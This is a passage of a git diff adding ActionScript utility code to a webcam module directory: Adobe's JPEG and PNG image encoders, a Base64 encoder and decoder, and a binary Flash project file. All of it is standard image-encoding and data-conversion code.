0x00,0x01,0x02,0x03,0x11,0x04,0x05,0x21, + 0x31,0x06,0x12,0x41,0x51,0x07,0x61,0x71, + 0x13,0x22,0x32,0x81,0x08,0x14,0x42,0x91, + 0xa1,0xb1,0xc1,0x09,0x23,0x33,0x52,0xf0, + 0x15,0x62,0x72,0xd1,0x0a,0x16,0x24,0x34, + 0xe1,0x25,0xf1,0x17,0x18,0x19,0x1a,0x26, + 0x27,0x28,0x29,0x2a,0x35,0x36,0x37,0x38, + 0x39,0x3a,0x43,0x44,0x45,0x46,0x47,0x48, + 0x49,0x4a,0x53,0x54,0x55,0x56,0x57,0x58, + 0x59,0x5a,0x63,0x64,0x65,0x66,0x67,0x68, + 0x69,0x6a,0x73,0x74,0x75,0x76,0x77,0x78, + 0x79,0x7a,0x82,0x83,0x84,0x85,0x86,0x87, + 0x88,0x89,0x8a,0x92,0x93,0x94,0x95,0x96, + 0x97,0x98,0x99,0x9a,0xa2,0xa3,0xa4,0xa5, + 0xa6,0xa7,0xa8,0xa9,0xaa,0xb2,0xb3,0xb4, + 0xb5,0xb6,0xb7,0xb8,0xb9,0xba,0xc2,0xc3, + 0xc4,0xc5,0xc6,0xc7,0xc8,0xc9,0xca,0xd2, + 0xd3,0xd4,0xd5,0xd6,0xd7,0xd8,0xd9,0xda, + 0xe2,0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,0xe9, + 0xea,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8, + 0xf9,0xfa + ]; + + private function initHuffmanTbl():void + { + YDC_HT = computeHuffmanTbl(std_dc_luminance_nrcodes,std_dc_luminance_values); + UVDC_HT = computeHuffmanTbl(std_dc_chrominance_nrcodes,std_dc_chrominance_values); + YAC_HT = computeHuffmanTbl(std_ac_luminance_nrcodes,std_ac_luminance_values); + UVAC_HT = computeHuffmanTbl(std_ac_chrominance_nrcodes,std_ac_chrominance_values); + } + + private var bitcode:Array = new Array(65535); + private var category:Array = new Array(65535); + + private function initCategoryNumber():void + { + var nrlower:int = 1; + var nrupper:int = 2; + var nr:int; + for (var cat:int=1; cat<=15; cat++) { + //Positive numbers + for (nr=nrlower; nr= 0 ) { + if (value & uint(1 << posval) ) { + bytenew |= uint(1 << bytepos); + } + posval--; + bytepos--; + if (bytepos < 0) { + if (bytenew == 0xFF) { + writeByte(0xFF); + writeByte(0); + } + else { + writeByte(bytenew); + } + bytepos=7; + bytenew=0; + } + } + } + + private function writeByte(value:int):void + { + byteout.writeByte(value); + } + + private function writeWord(value:int):void + { + writeByte((value>>8)&0xFF); + writeByte((value )&0xFF); + } + + // DCT & quantization core + + private function fDCTQuant(data:Array, fdtbl:Array):Array + { + var tmp0:Number, tmp1:Number, tmp2:Number, tmp3:Number, tmp4:Number, tmp5:Number, tmp6:Number, tmp7:Number; + var tmp10:Number, tmp11:Number, tmp12:Number, tmp13:Number; + var z1:Number, z2:Number, z3:Number, z4:Number, z5:Number, z11:Number, z13:Number; + var i:int; + /* Pass 1: process rows. */ + var dataOff:int=0; + for (i=0; i<8; i++) { + tmp0 = data[dataOff+0] + data[dataOff+7]; + tmp7 = data[dataOff+0] - data[dataOff+7]; + tmp1 = data[dataOff+1] + data[dataOff+6]; + tmp6 = data[dataOff+1] - data[dataOff+6]; + tmp2 = data[dataOff+2] + data[dataOff+5]; + tmp5 = data[dataOff+2] - data[dataOff+5]; + tmp3 = data[dataOff+3] + data[dataOff+4]; + tmp4 = data[dataOff+3] - data[dataOff+4]; + + /* Even part */ + tmp10 = tmp0 + tmp3; /* phase 2 */ + tmp13 = tmp0 - tmp3; + tmp11 = tmp1 + tmp2; + tmp12 = tmp1 - tmp2; + + data[dataOff+0] = tmp10 + tmp11; /* phase 3 */ + data[dataOff+4] = tmp10 - tmp11; + + z1 = (tmp12 + tmp13) * 0.707106781; /* c4 */ + data[dataOff+2] = tmp13 + z1; /* phase 5 */ + data[dataOff+6] = tmp13 - z1; + + /* Odd part */ + tmp10 = tmp4 + tmp5; /* phase 2 */ + tmp11 = tmp5 + tmp6; + tmp12 = tmp6 + tmp7; + + /* The rotator is modified from fig 4-8 to avoid extra negations. */ + z5 = (tmp10 - tmp12) * 0.382683433; /* c6 */ + z2 = 0.541196100 * tmp10 + z5; /* c2-c6 */ + z4 = 1.306562965 * tmp12 + z5; /* c2+c6 */ + z3 = tmp11 * 0.707106781; /* c4 */ + + z11 = tmp7 + z3; /* phase 5 */ + z13 = tmp7 - z3; + + data[dataOff+5] = z13 + z2; /* phase 6 */ + data[dataOff+3] = z13 - z2; + data[dataOff+1] = z11 + z4; + data[dataOff+7] = z11 - z4; + + dataOff += 8; /* advance pointer to next row */ + } + + /* Pass 2: process columns. */ + dataOff = 0; + for (i=0; i<8; i++) { + tmp0 = data[dataOff+ 0] + data[dataOff+56]; + tmp7 = data[dataOff+ 0] - data[dataOff+56]; + tmp1 = data[dataOff+ 8] + data[dataOff+48]; + tmp6 = data[dataOff+ 8] - data[dataOff+48]; + tmp2 = data[dataOff+16] + data[dataOff+40]; + tmp5 = data[dataOff+16] - data[dataOff+40]; + tmp3 = data[dataOff+24] + data[dataOff+32]; + tmp4 = data[dataOff+24] - data[dataOff+32]; + + /* Even part */ + tmp10 = tmp0 + tmp3; /* phase 2 */ + tmp13 = tmp0 - tmp3; + tmp11 = tmp1 + tmp2; + tmp12 = tmp1 - tmp2; + + data[dataOff+ 0] = tmp10 + tmp11; /* phase 3 */ + data[dataOff+32] = tmp10 - tmp11; + + z1 = (tmp12 + tmp13) * 0.707106781; /* c4 */ + data[dataOff+16] = tmp13 + z1; /* phase 5 */ + data[dataOff+48] = tmp13 - z1; + + /* Odd part */ + tmp10 = tmp4 + tmp5; /* phase 2 */ + tmp11 = tmp5 + tmp6; + tmp12 = tmp6 + tmp7; + + /* The rotator is modified from fig 4-8 to avoid extra negations. */ + z5 = (tmp10 - tmp12) * 0.382683433; /* c6 */ + z2 = 0.541196100 * tmp10 + z5; /* c2-c6 */ + z4 = 1.306562965 * tmp12 + z5; /* c2+c6 */ + z3 = tmp11 * 0.707106781; /* c4 */ + + z11 = tmp7 + z3; /* phase 5 */ + z13 = tmp7 - z3; + + data[dataOff+40] = z13 + z2; /* phase 6 */ + data[dataOff+24] = z13 - z2; + data[dataOff+ 8] = z11 + z4; + data[dataOff+56] = z11 - z4; + + dataOff++; /* advance pointer to next column */ + } + + // Quantize/descale the coefficients + for (i=0; i<64; i++) { + // Apply the quantization and scaling factor & Round to nearest integer + data[i] = Math.round((data[i]*fdtbl[i])); + } + return data; + } + + // Chunk writing + + private function writeAPP0():void + { + writeWord(0xFFE0); // marker + writeWord(16); // length + writeByte(0x4A); // J + writeByte(0x46); // F + writeByte(0x49); // I + writeByte(0x46); // F + writeByte(0); // = "JFIF",'\0' + writeByte(1); // versionhi + writeByte(1); // versionlo + writeByte(0); // xyunits + writeWord(1); // xdensity + writeWord(1); // ydensity + writeByte(0); // thumbnwidth + writeByte(0); // thumbnheight + } + + private function writeSOF0(width:int, height:int):void + { + writeWord(0xFFC0); // marker + writeWord(17); // length, truecolor YUV JPG + writeByte(8); // precision + writeWord(height); + writeWord(width); + writeByte(3); // nrofcomponents + writeByte(1); // IdY + writeByte(0x11); // HVY + writeByte(0); // QTY + writeByte(2); // IdU + writeByte(0x11); // HVU + writeByte(1); // QTU + writeByte(3); // IdV + writeByte(0x11); // HVV + writeByte(1); // QTV + } + + private function writeDQT():void + { + writeWord(0xFFDB); // marker + writeWord(132); // length + writeByte(0); + var i:int; + for (i=0; i<64; i++) { + writeByte(YTable[i]); + } + writeByte(1); + for (i=0; i<64; i++) { + writeByte(UVTable[i]); + } + } + + private function writeDHT():void + { + writeWord(0xFFC4); // marker + writeWord(0x01A2); // length + var i:int; + + writeByte(0); // HTYDCinfo + for (i=0; i<16; i++) { + writeByte(std_dc_luminance_nrcodes[i+1]); + } + for (i=0; i<=11; i++) { + writeByte(std_dc_luminance_values[i]); + } + + writeByte(0x10); // HTYACinfo + for (i=0; i<16; i++) { + writeByte(std_ac_luminance_nrcodes[i+1]); + } + for (i=0; i<=161; i++) { + writeByte(std_ac_luminance_values[i]); + } + + writeByte(1); // HTUDCinfo + for (i=0; i<16; i++) { + writeByte(std_dc_chrominance_nrcodes[i+1]); + } + for (i=0; i<=11; i++) { + writeByte(std_dc_chrominance_values[i]); + } + + writeByte(0x11); // HTUACinfo + for (i=0; i<16; i++) { + writeByte(std_ac_chrominance_nrcodes[i+1]); + } + for (i=0; i<=161; i++) { + writeByte(std_ac_chrominance_values[i]); + } + } + + private function writeSOS():void + { + writeWord(0xFFDA); // marker + writeWord(12); // length + writeByte(3); // nrofcomponents + writeByte(1); // IdY + writeByte(0); // HTY + writeByte(2); // IdU + writeByte(0x11); // HTU + writeByte(3); // IdV + writeByte(0x11); // HTV + writeByte(0); // Ss + writeByte(0x3f); // Se + writeByte(0); // Bf + } + + // Core processing + private var DU:Array = new Array(64); + + private function processDU(CDU:Array, fdtbl:Array, DC:Number, HTDC:Array, HTAC:Array):Number + { + var EOB:BitString = HTAC[0x00]; + var M16zeroes:BitString = HTAC[0xF0]; + var i:int; + + var DU_DCT:Array = fDCTQuant(CDU, fdtbl); + //ZigZag reorder + for (i=0;i<64;i++) { + DU[ZigZag[i]]=DU_DCT[i]; + } + var Diff:int = DU[0] - DC; DC = DU[0]; + //Encode DC + if (Diff==0) { + writeBits(HTDC[0]); // Diff might be 0 + } else { + writeBits(HTDC[category[32767+Diff]]); + writeBits(bitcode[32767+Diff]); + } + //Encode ACs + var end0pos:int = 63; + for (; (end0pos>0)&&(DU[end0pos]==0); end0pos--) { + }; + //end0pos = first element in reverse order !=0 + if ( end0pos == 0) { + writeBits(EOB); + return DC; + } + i = 1; + while ( i <= end0pos ) { + var startpos:int = i; + for (; (DU[i]==0) && (i<=end0pos); i++) { + } + var nrzeroes:int = i-startpos; + if ( nrzeroes >= 16 ) { + for (var nrmarker:int=1; nrmarker <= nrzeroes/16; nrmarker++) { + writeBits(M16zeroes); + } + nrzeroes = int(nrzeroes&0xF); + } + writeBits(HTAC[nrzeroes*16+category[32767+DU[i]]]); + writeBits(bitcode[32767+DU[i]]); + i++; + } + if ( end0pos != 63 ) { + writeBits(EOB); + } + return DC; + } + + private var YDU:Array = new Array(64); + private var UDU:Array = new Array(64); + private var VDU:Array = new Array(64); + + private function RGB2YUV(img:BitmapData, xpos:int, ypos:int):void + { + var pos:int=0; + for (var y:int=0; y<8; y++) { + for (var x:int=0; x<8; x++) { + var P:uint = img.getPixel32(xpos+x,ypos+y); + var R:Number = Number((P>>16)&0xFF); + var G:Number = Number((P>> 8)&0xFF); + var B:Number = Number((P )&0xFF); + YDU[pos]=((( 0.29900)*R+( 0.58700)*G+( 0.11400)*B))-128; + UDU[pos]=(((-0.16874)*R+(-0.33126)*G+( 0.50000)*B)); + VDU[pos]=((( 0.50000)*R+(-0.41869)*G+(-0.08131)*B)); + pos++; + } + } + } + + /** + * Constructor for JPEGEncoder class + * + * @param quality The quality level between 1 and 100 that detrmines the + * level of compression used in the generated JPEG + * @langversion ActionScript 3.0 + * @playerversion Flash 9.0 + * @tiptext + */ + public function JPGEncoder(quality:Number = 50) + { + if (quality <= 0) { + quality = 1; + } + if (quality > 100) { + quality = 100; + } + var sf:int = 0; + if (quality < 50) { + sf = int(5000 / quality); + } else { + sf = int(200 - quality*2); + } + // Create tables + initHuffmanTbl(); + initCategoryNumber(); + initQuantTables(sf); + } + + /** + * Created a JPEG image from the specified BitmapData + * + * @param image The BitmapData that will be converted into the JPEG format. + * @return a ByteArray representing the JPEG encoded image data. + * @langversion ActionScript 3.0 + * @playerversion Flash 9.0 + * @tiptext + */ + public function encode(image:BitmapData):ByteArray + { + // Initialize bit writer + byteout = new ByteArray(); + bytenew=0; + bytepos=7; + + // Add JPEG headers + writeWord(0xFFD8); // SOI + writeAPP0(); + writeDQT(); + writeSOF0(image.width,image.height); + writeDHT(); + writeSOS(); + + + // Encode 8x8 macroblocks + var DCY:Number=0; + var DCU:Number=0; + var DCV:Number=0; + bytenew=0; + bytepos=7; + for (var ypos:int=0; ypos= 0 ) { + var fillbits:BitString = new BitString(); + fillbits.len = bytepos+1; + fillbits.val = (1<<(bytepos+1))-1; + writeBits(fillbits); + } + + writeWord(0xFFD9); //EOI + return byteout; + } + } +} diff --git a/modules/browser/webcam/dev/com/adobe/images/PNGEncoder.as b/modules/browser/webcam/dev/com/adobe/images/PNGEncoder.as new file mode 100755 index 000000000..83c95f629 --- /dev/null +++ b/modules/browser/webcam/dev/com/adobe/images/PNGEncoder.as @@ -0,0 +1,141 @@ +/* + Copyright (c) 2008, Adobe Systems Incorporated + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + * Neither the name of Adobe Systems Incorporated nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ +package com.adobe.images +{ + import flash.geom.*; + import flash.display.Bitmap; + import flash.display.BitmapData; + import flash.utils.ByteArray; + + /** + * Class that converts BitmapData into a valid PNG + */ + public class PNGEncoder + { + /** + * Created a PNG image from the specified BitmapData + * + * @param image The BitmapData that will be converted into the PNG format. + * @return a ByteArray representing the PNG encoded image data. + * @langversion ActionScript 3.0 + * @playerversion Flash 9.0 + * @tiptext + */ + public static function encode(img:BitmapData):ByteArray { + // Create output byte array + var png:ByteArray = new ByteArray(); + // Write PNG signature + png.writeUnsignedInt(0x89504e47); + png.writeUnsignedInt(0x0D0A1A0A); + // Build IHDR chunk + var IHDR:ByteArray = new ByteArray(); + IHDR.writeInt(img.width); + IHDR.writeInt(img.height); + IHDR.writeUnsignedInt(0x08060000); // 32bit RGBA + IHDR.writeByte(0); + writeChunk(png,0x49484452,IHDR); + // Build IDAT chunk + var IDAT:ByteArray= new ByteArray(); + for(var i:int=0;i < img.height;i++) { + // no filter + IDAT.writeByte(0); + var p:uint; + var j:int; + if ( !img.transparent ) { + for(j=0;j < img.width;j++) { + p = img.getPixel(j,i); + IDAT.writeUnsignedInt( + uint(((p&0xFFFFFF) << 8)|0xFF)); + } + } else { + for(j=0;j < img.width;j++) { + p = img.getPixel32(j,i); + IDAT.writeUnsignedInt( + uint(((p&0xFFFFFF) << 8)| + (p>>>24))); + } + } + } + IDAT.compress(); + writeChunk(png,0x49444154,IDAT); + // Build IEND chunk + writeChunk(png,0x49454E44,null); + // return PNG + return png; + } + + private static var crcTable:Array; + private static var crcTableComputed:Boolean = false; + + private static function writeChunk(png:ByteArray, + type:uint, data:ByteArray):void { + if (!crcTableComputed) { + crcTableComputed = true; + crcTable = []; + var c:uint; + for (var n:uint = 0; n < 256; n++) { + c = n; + for (var k:uint = 0; k < 8; k++) { + if (c & 1) { + c = uint(uint(0xedb88320) ^ + uint(c >>> 1)); + } else { + c = uint(c >>> 1); + } + } + crcTable[n] = c; + } + } + var len:uint = 0; + if (data != null) { + len = data.length; + } + png.writeUnsignedInt(len); + var p:uint = png.position; + png.writeUnsignedInt(type); + if ( data != null ) { + png.writeBytes(data); + } + var e:uint = png.position; + png.position = p; + c = 0xffffffff; + for (var i:int = 0; i < (e-p); i++) { + c = uint(crcTable[ + (c ^ png.readUnsignedByte()) & + uint(0xff)] ^ uint(c >>> 8)); + } + c = uint(c^uint(0xffffffff)); + png.position = e; + png.writeUnsignedInt(c); + } + } +} \ No newline at end of file diff --git a/modules/browser/webcam/dev/com/foxarc/util/Base64.as b/modules/browser/webcam/dev/com/foxarc/util/Base64.as new file mode 100644 index 000000000..fe7d0cd1f --- /dev/null +++ b/modules/browser/webcam/dev/com/foxarc/util/Base64.as @@ -0,0 +1,106 @@ +package com.foxarc.util{ + import flash.utils.ByteArray; + public class Base64 { + private static const encodeChars:Array = + ['A','B','C','D','E','F','G','H', + 'I','J','K','L','M','N','O','P', + 'Q','R','S','T','U','V','W','X', + 'Y','Z','a','b','c','d','e','f', + 'g','h','i','j','k','l','m','n', + 'o','p','q','r','s','t','u','v', + 'w','x','y','z','0','1','2','3', + '4','5','6','7','8','9','+','/']; + private static const decodeChars:Array = + [-1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, 62, -1, -1, -1, 63, + 52, 53, 54, 55, 56, 57, 58, 59, + 60, 61, -1, -1, -1, -1, -1, -1, + -1, 0, 1, 2, 3, 4, 5, 6, + 7, 8, 9, 10, 11, 12, 13, 14, + 15, 16, 17, 18, 19, 20, 21, 22, + 23, 24, 25, -1, -1, -1, -1, -1, + -1, 26, 27, 28, 29, 30, 31, 32, + 33, 34, 35, 36, 37, 38, 39, 40, + 41, 42, 43, 44, 45, 46, 47, 48, + 49, 50, 51, -1, -1, -1, -1, -1]; + public static function encode(data:ByteArray):String { + var out:Array = []; + var i:int = 0; + var j:int = 0; + var r:int = data.length % 3; + var len:int = data.length - r; + var c:int; + while (i < len) { + c = data[i++] << 16 | data[i++] << 8 | data[i++]; + out[j++] = encodeChars[c >> 18] + encodeChars[c >> 12 & 0x3f] + encodeChars[c >> 6 & 0x3f] + encodeChars[c & 0x3f]; + } + if (r == 1) { + c = data[i++]; + out[j++] = encodeChars[c >> 2] + encodeChars[(c & 0x03) << 4] + "=="; + } + else if (r == 2) { + c = data[i++] << 8 | data[i++]; + out[j++] = encodeChars[c >> 10] + encodeChars[c >> 4 & 0x3f] + encodeChars[(c & 0x0f) << 2] + "="; + } + return out.join(''); + } + public static function decode(str:String):ByteArray { + var c1:int; + var c2:int; + var c3:int; + var c4:int; + var i:int; + var len:int; + var out:ByteArray; + len = str.length; + i = 0; + out = new ByteArray(); + while (i < len) { + // c1 + do { + c1 = decodeChars[str.charCodeAt(i++) & 0xff]; + } while (i < len && c1 == -1); + if (c1 == -1) { + break; + } + // c2 + do { + c2 = decodeChars[str.charCodeAt(i++) & 0xff]; + } while (i < len && c2 == -1); + if (c2 == -1) { + break; + } + out.writeByte((c1 << 2) | ((c2 & 0x30) >> 4)); + // c3 + do { + c3 = str.charCodeAt(i++) & 0xff; + if (c3 == 61) { + return out; + } + c3 = decodeChars[c3]; + } while (i < len && c3 == -1); + if (c3 == -1) { + break; + } + out.writeByte(((c2 & 0x0f) << 4) | ((c3 & 0x3c) >> 2)); + // c4 + do { + c4 = str.charCodeAt(i++) & 0xff; + if (c4 == 61) { + return out; + } + c4 = decodeChars[c4]; + } while (i < len && c4 == -1); + if (c4 == -1) { + break; + } + out.writeByte(((c3 & 0x03) << 6) | c4); + } + return out; + } + } +} \ No newline at end of file diff --git a/modules/browser/webcam/dev/takeit.fla b/modules/browser/webcam/dev/takeit.fla new file mode 100644 index 0000000000000000000000000000000000000000..7de9b071bc9a0efb48344a9386288aa965816151 GIT binary patch literal 142848 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 